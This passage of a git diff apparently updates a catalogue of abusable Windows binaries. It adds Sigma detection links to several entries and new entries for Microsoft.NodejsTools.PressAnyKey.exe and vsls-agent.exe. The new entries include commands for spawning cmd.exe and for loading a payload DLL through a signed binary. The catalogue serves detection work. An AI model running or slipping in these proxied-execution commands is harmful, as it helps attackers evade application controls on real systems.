https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml Resources: - Link: https://twitter.com/0rbz_/status/988911181422186496 Acknowledgement: diff --git a/yml/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey.yml b/yml/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey.yml new file mode 100644 index 0000000..896d921 --- /dev/null +++ b/yml/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey.yml @@ -0,0 +1,21 @@ +--- +Name: Microsoft.NodejsTools.PressAnyKey.exe +Description: Part of the NodeJS Visual Studio tools. +Author: mr.d0x +Created: 2022-01-20 +Commands: + - Command: Microsoft.NodejsTools.PressAnyKey.exe normal 1 cmd.exe + Description: Launch cmd.exe as a subprocess of Microsoft.NodejsTools.PressAnyKey.exe. + Usecase: Spawn a new process via Microsoft.NodejsTools.PressAnyKey.exe. + Category: Execute + Privileges: User + MitreID: T1127 + OperatingSystem: Windows +Full_Path: + - Path: C:\Program Files\Microsoft Visual Studio\*\Community\Common7\IDE\Extensions\Microsoft\NodeJsTools\NodeJsTools\Microsoft.NodejsTools.PressAnyKey.exe + - Path: C:\Program Files (x86)\Microsoft Visual Studio\*\Community\Common7\IDE\Extensions\Microsoft\NodeJsTools\NodeJsTools\Microsoft.NodejsTools.PressAnyKey.exe +Resources: + - Link: https://twitter.com/mrd0x/status/1463526834918854661 +Acknowledgement: + - Person: mr.d0x + Handle: '@mrd0x' diff --git a/yml/OtherMSBinaries/MsoHtmEd.yml b/yml/OtherMSBinaries/MsoHtmEd.yml index d9c42af..fb2ac30 100644 --- a/yml/OtherMSBinaries/MsoHtmEd.yml +++ b/yml/OtherMSBinaries/MsoHtmEd.yml @@ -28,6 +28,7 @@ Full_Path: - Path: C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe - Path: C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml - IOC: Suspicious Office application internet/network traffic Acknowledgement: - Person: Nir Chako (Pentera) diff --git a/yml/OtherMSBinaries/Mspub.yml b/yml/OtherMSBinaries/Mspub.yml index 8ebc14f..eba4027 100644 --- a/yml/OtherMSBinaries/Mspub.yml +++ b/yml/OtherMSBinaries/Mspub.yml @@ -25,6 +25,7 @@ Full_Path: - Path: C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe - Path: C:\Program Files\Microsoft Office\Office14\MSPUB.exe Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml - IOC: Suspicious Office application internet/network traffic Acknowledgement: - Person: 'Nir Chako (Pentera)' diff --git a/yml/OtherMSBinaries/Remote.yml b/yml/OtherMSBinaries/Remote.yml index cb0d65d..6ea1d45 100644 --- a/yml/OtherMSBinaries/Remote.yml +++ b/yml/OtherMSBinaries/Remote.yml @@ -32,6 +32,7 @@ Code_Sample: - Code: Detection: - IOC: remote.exe process spawns + - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml Resources: - Link: https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/ Acknowledgement: diff --git a/yml/OtherMSBinaries/Squirrel.yml b/yml/OtherMSBinaries/Squirrel.yml index 0520437..8dd0255 100644 --- a/yml/OtherMSBinaries/Squirrel.yml +++ b/yml/OtherMSBinaries/Squirrel.yml @@ -44,6 +44,8 @@ Full_Path: Code_Sample: - Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_susp_squirrel_lolbin.yml Resources: - Link: https://www.youtube.com/watch?v=rOP3hnkj7ls - Link: https://twitter.com/reegun21/status/1144182772623269889 diff --git a/yml/OtherMSBinaries/VSIISExeLauncher.yml b/yml/OtherMSBinaries/VSIISExeLauncher.yml index 1d5ee20..428d730 100644 --- a/yml/OtherMSBinaries/VSIISExeLauncher.yml +++ b/yml/OtherMSBinaries/VSIISExeLauncher.yml @@ -16,6 +16,7 @@ Full_Path: Code_Sample: - Code: Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml - IOC: VSIISExeLauncher.exe spawned an unknown process Resources: - Link: https://github.com/timwhitez diff --git a/yml/OtherMSBinaries/VisualUiaVerifyNative.yml b/yml/OtherMSBinaries/VisualUiaVerifyNative.yml index b2d3380..fd6d7ac 100644 --- a/yml/OtherMSBinaries/VisualUiaVerifyNative.yml +++ b/yml/OtherMSBinaries/VisualUiaVerifyNative.yml @@ -1,4 +1,3 @@ ---- Name: VisualUiaVerifyNative.exe Description: A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls. Author: Jimmy (@bohops) @@ -19,6 +18,7 @@ Code_Sample: - Code: Detection: - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules + - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml - IOC: As a Windows SDK binary, execution on a system may be suspicious Resources: - Link: https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/ diff --git a/yml/OtherMSBinaries/Wfc.yml b/yml/OtherMSBinaries/Wfc.yml index b9de32f..e66ddb8 100644 --- a/yml/OtherMSBinaries/Wfc.yml +++ b/yml/OtherMSBinaries/Wfc.yml @@ -17,6 +17,7 @@ Code_Sample: - Code: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/ Detection: - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules + - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml - IOC: As a Windows SDK binary, execution on a system may be suspicious Resources: - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/ diff --git a/yml/OtherMSBinaries/Winword.yml b/yml/OtherMSBinaries/Winword.yml index 11bc887..f70dd62 100644 --- a/yml/OtherMSBinaries/Winword.yml +++ b/yml/OtherMSBinaries/Winword.yml @@ -31,6 +31,7 @@ Full_Path: Code_Sample: - Code: Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml - IOC: Suspicious Office application Internet/network traffic Resources: - Link: https://twitter.com/reegun21/status/1150032506504151040 diff --git a/yml/OtherMSBinaries/vsls-agent.yml b/yml/OtherMSBinaries/vsls-agent.yml new file mode 100644 index 0000000..cb4ea0f --- /dev/null +++ b/yml/OtherMSBinaries/vsls-agent.yml @@ -0,0 +1,22 @@ +--- +Name: vsls-agent.exe +Description: Agent for Visual Studio Live Share (Code Collaboration) +Author: Jimmy (@bohops) +Created: 2022-11-01 +Commands: + - Command: vsls-agent.exe --agentExtensionPath c:\path\to\payload.dll + Description: Load a library payload using the --agentExtensionPath parameter (32-bit) + Usecase: Execute proxied payload with Microsoft signed binary + Category: Execute + Privileges: User + MitreID: T1218 + OperatingSystem: Windows 10 21H2 (likely previous and newer versions with modern versions of Visual Studio installed) +Full_Path: + - Path: c:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\Extensions\Microsoft\LiveShare\Agent\vsls-agent.exe +Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml +Resources: + - Link: https://twitter.com/bohops/status/1583916360404729857 +Acknowledgement: + - Person: Jimmy + Handle: '@bohops'